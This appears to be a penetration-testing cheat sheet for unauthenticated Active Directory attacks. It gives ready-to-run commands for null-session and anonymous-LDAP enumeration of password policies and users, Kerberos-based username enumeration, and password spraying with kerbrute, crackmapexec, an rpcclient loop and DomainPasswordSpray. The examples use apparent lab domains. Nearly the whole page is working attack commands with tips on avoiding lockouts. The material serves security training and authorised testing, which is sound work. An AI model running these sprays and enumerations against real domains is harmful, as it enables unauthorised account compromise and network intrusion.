> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# AD Enumeration (Unauthenticated)

Everything on this page works with zero domain credentials, a null session or a handful of guessed usernames is enough. Once any valid credential is found (password-sprayed here or sourced elsewhere), move to [AD Enumeration (Credentialed)](https://0-x.dev/ad/enumeration-credentialed.md) for everything that opens up from there.

> **[Username & Password Generation](https://0-x.dev/wordlist-generation.md)**
>
> Build the username and password lists these techniques spray against.

> **[LLMNR/NBT-NS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md)**
>
> Capture credentials passively instead of guessing them, also needs no domain creds.

***

## Password Policies

Knowing the lockout threshold before spraying a single password is what keeps a spray from locking out every account in the domain.

<table>
  <colgroup>
    <col width="395" />

    <col width="325" />
  </colgroup>

  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`rpcclient -U "" -N 172.16.5.5`\
      `querydominfo`</td>
      <td>Null-session RPC query, no credentials needed at all.</td>
    </tr>

    <tr>
      <td>`enum4linux -P 172.16.5.5`</td>
      <td>Same information via enum4linux.</td>
    </tr>

    <tr>
      <td>`ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*"`</td>
      <td>Anonymous LDAP bind, works if anonymous bind isn't disabled.</td>
    </tr>

    <tr>
      <td>`net accounts`</td>
      <td>From an already logedin Windows session.</td>
    </tr>

    <tr>
      <td>`Import-Module .\PowerView.ps1`\
      `Get-DomainPolicy`</td>
      <td>PowerView equivalent.</td>
    </tr>
  </tbody>
</table>

## Username List

Building a valid username list is the prerequisite for every password spraying attempt.

| Command | Description |
| - | - |
| `kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users` | Confirms real usernames via Kerberos pre-auth responses, no logon attempt, so it won't trigger lockouts. |
| `enum4linux -U 172.16.5.5 \| grep "user:" \| cut -f2 -d"[" \| cut -f1 -d"]"` | Null-session user listing. |
| `rpcclient -U "" -N 172.16.5.5` `enumdomusers` | Same idea directly via rpcclient. |
| `crackmapexec smb 172.16.5.5 --users` | Needs no credentials if null sessions/guest are permitted. |
| `ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" \| grep sAMAccountName: \| cut -f2 -d" "` | Anonymous LDAP enumeration. |
| `./windapsearch.py --dc-ip 172.16.5.5 -u "" -U` | Same idea, different tool. |
| `lookupsid.py cicada.htb/guest@CICADA-DC.cicada.htb -no-pass` | Brute-forces RIDs against the domain SID to enumerate users even when every other method above is locked down. |

## Password Spraying

> [!WARNING]
>
> Always check the lockout policy first (above). One password against every user, spread out, is far safer than many passwords against one user.

<table>
  <colgroup>
    <col width="347" />

    <col width="325" />
  </colgroup>

  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`</td>
      <td>Sprays via Kerberos pre-auth, same lockout-avoidance benefit as `userenum`.</td>
    </tr>

    <tr>
      <td>`sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +`</td>
      <td>Standard credentialed spray.</td>
    </tr>

    <tr>
      <td>`for u in $(cat valid_users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done`</td>
      <td>Manual spray via rpcclient in a shell loop.</td>
    </tr>

    <tr>
      <td>`Import-Module .\DomainPasswordSpray.ps1`\
      `Invoke-DomainPasswordSpray -UserList .\user.txt -Password 1234 -Verbose`</td>
      <td>[DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray): Windows-native spraying, can auto-generate the user list itself rather than needing one supplied.</td>
    </tr>
  </tbody>
</table>

***

## Quick Reference Tools

> **[AD Enumeration (Credentialed)](https://0-x.dev/ad/enumeration-credentialed.md)**
>
> Everything that opens up once one of the sprays above lands.

> **[Username & Password Generation](https://0-x.dev/password-attacks/wordlist-generation)**
>
> Build the lists used throughout this page.

> **[LLMNR/NBT-NS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md)**
>
> A passive alternative to guessing: capture a hash instead of spraying one.

> **[kerbrute](https://github.com/ropnop/kerbrute)**
>
> Lockout-safe username enumeration and spraying via Kerberos pre-auth.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.